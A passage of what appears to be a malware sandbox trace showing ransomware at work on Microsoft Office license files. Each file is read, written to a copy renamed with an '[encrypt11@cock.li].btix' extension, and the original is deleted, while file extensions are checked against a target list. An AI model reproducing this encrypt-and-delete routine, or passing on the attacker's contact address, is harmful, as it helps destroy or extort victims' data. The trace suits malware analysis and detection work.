"c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.898] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.898] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0143.899] GetLastError () returned 0x0 [0143.899] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0143.910] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0143.910] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.910] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x114, lpOverlapped=0x0) returned 1 [0143.911] SetEndOfFile (hFile=0x390) returned 1 [0143.911] CloseHandle (hObject=0x390) returned 1 [0143.911] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.911] SetEndOfFile (hFile=0x530) returned 1 [0143.913] CloseHandle (hObject=0x530) returned 1 [0143.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1 [0143.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0143.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0143.914] lstrlenW (lpString=".doc") returned 4 [0143.914] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0143.914] lstrlenW (lpString=".docx") returned 5 [0143.914] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0143.914] lstrlenW (lpString=".pdf") returned 4 [0143.914] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0143.914] lstrlenW (lpString=".xls") returned 4 [0143.914] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0143.914] lstrlenW (lpString=".xlsx") returned 5 [0143.914] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0143.914] lstrlenW (lpString=".ppt") returned 4 [0143.914] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0143.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0143.915] lstrlenW (lpString=".zip") returned 4 [0143.915] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0143.915] lstrlenW (lpString=".rar") returned 4 [0143.915] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0143.915] lstrlenW (lpString=".bz2") returned 4 [0143.915] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0143.915] lstrlenW (lpString=".7z") returned 3 [0143.915] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0143.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0143.915] lstrlenW (lpString=".dbf") returned 4 [0143.915] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0143.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0143.915] lstrlenW (lpString=".1cd") returned 4 [0143.915] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0143.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0143.915] lstrlenW (lpString=".jpg") returned 4 [0143.915] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0143.915] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=9601) returned 1 [0143.915] CloseHandle (hObject=0x530) returned 1 [0143.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0143.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.916] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.916] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0143.918] GetLastError () returned 0x0 [0143.918] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2581, lpOverlapped=0x0) returned 1 [0144.149] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2590, lpOverlapped=0x0) returned 1 [0144.150] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.150] WriteFile (in: hFile=0x390, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x10c, lpOverlapped=0x0) returned 1 [0144.150] SetEndOfFile (hFile=0x390) returned 1 [0144.150] CloseHandle (hObject=0x390) returned 1 [0144.150] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.150] SetEndOfFile (hFile=0x530) returned 1 [0144.152] CloseHandle (hObject=0x530) returned 1 [0144.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.153] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 1 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0144.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0144.153] lstrlenW (lpString=".doc") returned 4 [0144.153] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.153] lstrlenW (lpString=".docx") returned 5 [0144.153] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.153] lstrlenW (lpString=".pdf") returned 4 [0144.153] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.153] lstrlenW (lpString=".xls") returned 4 [0144.154] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.154] lstrlenW (lpString=".xlsx") returned 5 [0144.154] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.154] lstrlenW (lpString=".ppt") returned 4 [0144.154] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0144.154] lstrlenW (lpString=".zip") returned 4 [0144.154] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.154] lstrlenW (lpString=".rar") returned 4 [0144.154] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.154] lstrlenW (lpString=".bz2") returned 4 [0144.154] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.154] lstrlenW (lpString=".7z") returned 3 [0144.154] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0144.154] lstrlenW (lpString=".dbf") returned 4 [0144.154] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0144.154] lstrlenW (lpString=".1cd") returned 4 [0144.154] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms") returned 78 [0144.154] lstrlenW (lpString=".jpg") returned 4 [0144.154] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.154] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11674) returned 1 [0144.154] CloseHandle (hObject=0x530) returned 1 [0144.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0144.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0144.155] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.155] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0144.274] GetLastError () returned 0x0 [0144.274] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d9a, lpOverlapped=0x0) returned 1 [0144.291] WriteFile (in: hFile=0x570, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2da0, lpOverlapped=0x0) returned 1 [0144.292] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.292] WriteFile (in: hFile=0x570, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x130, lpOverlapped=0x0) returned 1 [0144.292] SetEndOfFile (hFile=0x570) returned 1 [0144.292] CloseHandle (hObject=0x570) returned 1 [0144.292] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.292] SetEndOfFile (hFile=0x530) returned 1 [0144.294] CloseHandle (hObject=0x530) returned 1 [0144.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0144.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0144.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0144.295] lstrlenW (lpString=".doc") returned 4 [0144.295] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.295] lstrlenW (lpString=".docx") returned 5 [0144.295] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.295] lstrlenW (lpString=".pdf") returned 4 [0144.295] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.295] lstrlenW (lpString=".xls") returned 4 [0144.295] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.295] lstrlenW (lpString=".xlsx") returned 5 [0144.295] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.295] lstrlenW (lpString=".ppt") returned 4 [0144.295] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0144.295] lstrlenW (lpString=".zip") returned 4 [0144.295] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.295] lstrlenW (lpString=".rar") returned 4 [0144.295] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.295] lstrlenW (lpString=".bz2") returned 4 [0144.296] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.296] lstrlenW (lpString=".7z") returned 3 [0144.296] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0144.296] lstrlenW (lpString=".dbf") returned 4 [0144.296] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0144.296] lstrlenW (lpString=".1cd") returned 4 [0144.296] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessDemoR_BypassTrial180-ul-oob.xrm-ms") returned 96 [0144.296] lstrlenW (lpString=".jpg") returned 4 [0144.296] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.296] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=10679) returned 1 [0144.296] CloseHandle (hObject=0x530) returned 1 [0144.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 0x220 [0144.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0144.297] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.297] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570 [0144.298] GetLastError () returned 0x0 [0144.298] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x29b7, lpOverlapped=0x0) returned 1 [0144.318] WriteFile (in: hFile=0x570, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x29c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x29c0, lpOverlapped=0x0) returned 1 [0144.319] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.319] WriteFile (in: hFile=0x570, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x11c, lpOverlapped=0x0) returned 1 [0144.319] SetEndOfFile (hFile=0x570) returned 1 [0144.320] CloseHandle (hObject=0x570) returned 1 [0144.320] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.320] SetEndOfFile (hFile=0x530) returned 1 [0144.328] CloseHandle (hObject=0x530) returned 1 [0144.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.328] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-pl.xrm-ms")) returned 1 [0144.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0144.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0144.329] lstrlenW (lpString=".doc") returned 4 [0144.329] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0144.329] lstrlenW (lpString=".docx") returned 5 [0144.329] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0144.329] lstrlenW (lpString=".pdf") returned 4 [0144.329] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0144.329] lstrlenW (lpString=".xls") returned 4 [0144.329] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0144.329] lstrlenW (lpString=".xlsx") returned 5 [0144.329] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0144.329] lstrlenW (lpString=".ppt") returned 4 [0144.329] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0144.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0144.329] lstrlenW (lpString=".zip") returned 4 [0144.329] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0144.329] lstrlenW (lpString=".rar") returned 4 [0144.329] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0144.329] lstrlenW (lpString=".bz2") returned 4 [0144.329] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0144.329] lstrlenW (lpString=".7z") returned 3 [0144.329] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0144.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0144.329] lstrlenW (lpString=".dbf") returned 4 [0144.329] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0144.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0144.329] lstrlenW (lpString=".1cd") returned 4 [0144.329] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0144.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-pl.xrm-ms") returned 86 [0144.330] lstrlenW (lpString=".jpg") returned 4 [0144.330] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0144.330] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=11637) returned 1 [0144.330] CloseHandle (hObject=0x530) returned 1 [0144.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0144.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.330] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0144.331] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.331] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ul-oob.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0144.331] GetLastError () returned 0x0 [0144.331] ReadFile (in: hFile=0x530, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x2d75, lpOverlapped=0x0) returned 1 [0144.344] WriteFile (in: hFile=0x568, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x2d80, lpOverlapped=0x0) returned 1 [0144.345] ReadFile (in: hFile=0x530, 